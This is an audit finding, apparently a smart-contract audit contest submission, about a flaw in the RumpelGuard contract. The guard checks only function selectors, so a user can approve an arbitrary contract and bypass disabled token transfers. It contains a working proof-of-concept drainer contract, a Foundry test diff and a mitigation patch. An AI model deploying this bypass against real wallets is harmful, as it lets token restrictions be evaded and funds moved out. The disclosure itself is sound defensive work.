Brave Satin Hawk

High

# A user can bypass the rumbel guard and withdraw tokens

### Summary

The rumpel guard [function checkTransaction](https://github.com/sherlock-audit/2024-07-sense-points-marketplace/blob/main/rumpel-wallet/src/RumpelGuard.sol#L33) does not check external calls as long as they use the correct selector. Therefor a user could approve a special deployed contract in order to transfer some tokens even though it should not be allowed (see Internal pre-conditions).

### Root Cause

[RumpelGuard.sol:33 - checkTransaction](https://github.com/sherlock-audit/2024-07-sense-points-marketplace/blob/main/rumpel-wallet/src/RumpelGuard.sol#L33) allows the protocol to limit the actions a safe wallet is allowed to perform. The target address and function selector of the intended call are verified based settings supplied by the owner (aka. the protocol).

The idea of the safe module/guard combination is to allow user to use their wallet like a Point Tokenization Vault (PTV) without having to deposit the tokens to the vault itself. The main actions the rumpel guard allows are actions that allow user's to enter and exit point earning positions. As most protocols use a pull-based system to transfer in tokens (user calls contract -> contract calls transfer from), it is _necessary to be allowed to call approve on the ERC20's_.

This allows users to approve any contract of their choice, as the guard does not check the rest of the calldata [see](https://github.com/sherlock-audit/2024-07-sense-points-marketplace/blob/main/rumpel-wallet/src/RumpelGuard.sol#L75-L80):
```soldity
// For all other calls, we check the allowedCalls mapping normally.
if (allowedCalls[to][functionSelector] == AllowListState.OFF) {
    revert CallNotAllowed(to, functionSelector);
}
```

Therefor a user can deploy a contract like this:
```soldity
contract POC_Contract {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function withdrawTokens(address safeWallet, address token) external {
        uint256 balanceOfSender = ERC20(token).balanceOf(safeWallet);
        ERC20(token).transferFrom(safeWallet, owner, balanceOfSender);
    }
}
```

After approving the newly deployed contract. The user can call withdrawTokens(). The function will transfer the full balance of the selected ERC20 token to the owner, an address set at contract creation.

### Internal pre-conditions

1. Transfer calls are disabled (`ERC20.transfer()` selectors on ERC20 contracts)
2. Approve calls are allowed (`ERC20.approve()` selectors on ERC20 contracts)

### External pre-conditions

None

### Attack Path

1. Deploy POC contract - contract with a function to transfer tokens from the safe wallet to some receiver address
2. Approve the contract, this will be allowed by the rumple guard
3. Call the contract to transfer the ERC20

### Impact

A user can withdraw tokens even though the transfer of that token is disabled.

### PoC

Below is the full POC as a diff inside the [RumpelWallet.t.sol](https://github.com/sherlock-audit/2024-07-sense-points-marketplace/blob/main/rumpel-wallet/test/RumpelWallet.t.sol):

```diff
--- a/RumpelWallet.t.sol.orig
+++ b/RumpelWallet.t.sol
@@ -19,6 +19,20 @@ import {ISafeProxyFactory} from "../src/interfaces/external/ISafeProxyFactory.so
 import {ISignMessageLib} from "../src/interfaces/external/ISignMessageLib.sol";
 import {RumpelWalletFactoryScripts} from "../script/RumpelWalletFactory.s.sol";
 
+
+contract POC_Contract {
+    address owner;
+
+    constructor() {
+        owner = msg.sender;
+    }
+
+    function withdrawTokens(address safeWallet, address token) external {
+        uint256 balanceOfSender = ERC20(token).balanceOf(safeWallet);
+        ERC20(token).transferFrom(safeWallet, owner, balanceOfSender);
+    }
+}
+
 contract RumpelWalletTest is Test {
     RumpelWalletFactory public rumpelWalletFactory;
     RumpelModule public rumpelModule;
@@ -430,6 +444,51 @@ contract RumpelWalletTest is Test {
         assertEq(address(alice).balance, 0.1 ether);
     }
 
+    function test_poc() public {
+        address[] memory owners = new address[](1);
+        owners[0] = address(alice);
+
+        InitializationScript.InitCall[] memory initCalls = new InitializationScript.InitCall[](0);
+        ISafe safe = ISafe(rumpelWalletFactory.createWallet(owners, 1, initCalls));
+
+        // deploy POC contract
+        address receiver = address(1337);
+        vm.prank(receiver);
+        POC_Contract poc = new POC_Contract();
+
+        // Enable approve on mock token
+        vm.prank(admin);
+        rumpelGuard.setCallAllowed(address(mockToken), ERC20.approve.selector, RumpelGuard.AllowListState.ON);
+
+        // add tokens to safe
+        uint256 amountToMint = 100e18;
+        mockToken.mint(address(safe), amountToMint);
+
+        // store before balance
+        uint256 safeBalance = mockToken.balanceOf(address(safe));
+        assertEq(safeBalance, amountToMint); 
+
+        // approve mock token to POC contract
+        this._execSafeTx(
+            safe,
+            address(mockToken),
+            0,
+            abi.encodeCall(ERC20.approve, (address(poc), safeBalance)),
+            Enum.Operation.Call
+        );
+
+        // receiver should not have any tokens
+        uint256 receiverBalance = mockToken.balanceOf(receiver);
+        assertEq(receiverBalance, 0);
+
+        // send call to POC contract
+        poc.withdrawTokens(address(safe), address(mockToken));
+
+        // check balance
+        assertEq(mockToken.balanceOf(address(safe)), 0);
+        assertEq(mockToken.balanceOf(receiver), safeBalance);
+    }
+
     function test_RumpelWalletConfigUpdateAuth() public {
         address[] memory owners = new address[](1);
         owners[0] = address(alice);
```

### Mitigation

The user should not be allowed to approve an arbitrary contract. It should verify the rest of the calldata to allow a finer selection of approved calls. By looking at the calldata, the rumpel guard can determine the spender of the approve call and compare it to a list of allowed spenders. A possible solution could look like this:
```diff
--- a/RumpelGuard.sol.orig
+++ b/RumpelGuard.sol
@@ -6,10 +6,13 @@ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
 import {Enum} from "./interfaces/external/ISafe.sol";
 import {IGuard} from "./interfaces/external/IGuard.sol";
 
+import {ERC20} from "solmate/tokens/ERC20.sol";
+
 /// @notice Rumpel Safe Guard with a blocklist for the Rumpel Wallet.
 /// @dev Compatible with Safe v1.3.0-libs.0, the last Safe Ethereum mainnet release, so it can't use module execution hooks.
 contract RumpelGuard is Ownable, IGuard {
     mapping(address => mapping(bytes4 => AllowListState)) public allowedCalls; // target => functionSelector => allowListState
+    mapping(address => AllowListState) public allowedSpenders;
 
     address public immutable signMessageLib;
 
@@ -33,7 +36,7 @@ contract RumpelGuard is Ownable, IGuard {
     function checkTransaction(
         address to,
         uint256,
-        bytes memory data,
+        bytes calldata data,
         Enum.Operation operation,
         uint256,
         uint256,
@@ -60,9 +63,7 @@ contract RumpelGuard is Ownable, IGuard {
             }
         }
 
-        bool toSafe = msg.sender == to;
-
-        if (toSafe) {
+        if (msg.sender == to) {
             // If this transaction is to a Safe itself, to e.g. update config, we check the zero address for allowed calls.
             if (allowedCalls[address(0)][functionSelector] == AllowListState.OFF) {
                 revert CallNotAllowed(to, functionSelector);
@@ -77,6 +78,14 @@ contract RumpelGuard is Ownable, IGuard {
             if (allowedCalls[to][functionSelector] == AllowListState.OFF) {
                 revert CallNotAllowed(to, functionSelector);
             }
+
+            if (functionSelector == ERC20.approve.selector) {
+                // Verify the spender is safe to approve, allow any spender if approval is revoked
+                (address spender, uint256 amount) = abi.decode(data[4:], (address, uint256));
+                if (amount > 0 && allowedSpenders[spender] == AllowListState.OFF) {                
+                    revert CallNotAllowed(to, functionSelector);
+                }
+            }
         }
     }
 
@@ -105,4 +114,12 @@ contract RumpelGuard is Ownable, IGuard {
         allowedCalls[target][functionSelector] = allowListState;
         emit SetCallAllowed(target, functionSelector, allowListState);
     }
+
+    function setAproveAllowed(address spender, AllowListState allowListState) external onlyOwner {        
+        if (allowedSpenders[spender] == AllowListState.PERMANENTLY_ON) {
+            revert PermanentlyOn();
+        }
+
+        allowedSpenders[spender] = allowListState;
+    }
 }
```

Notice: `bytes memory data` -> `bytes calldata data` to allow slicing the data (`data[4:]`)
Notice: removed `bool toSafe` because of stack too deep issues 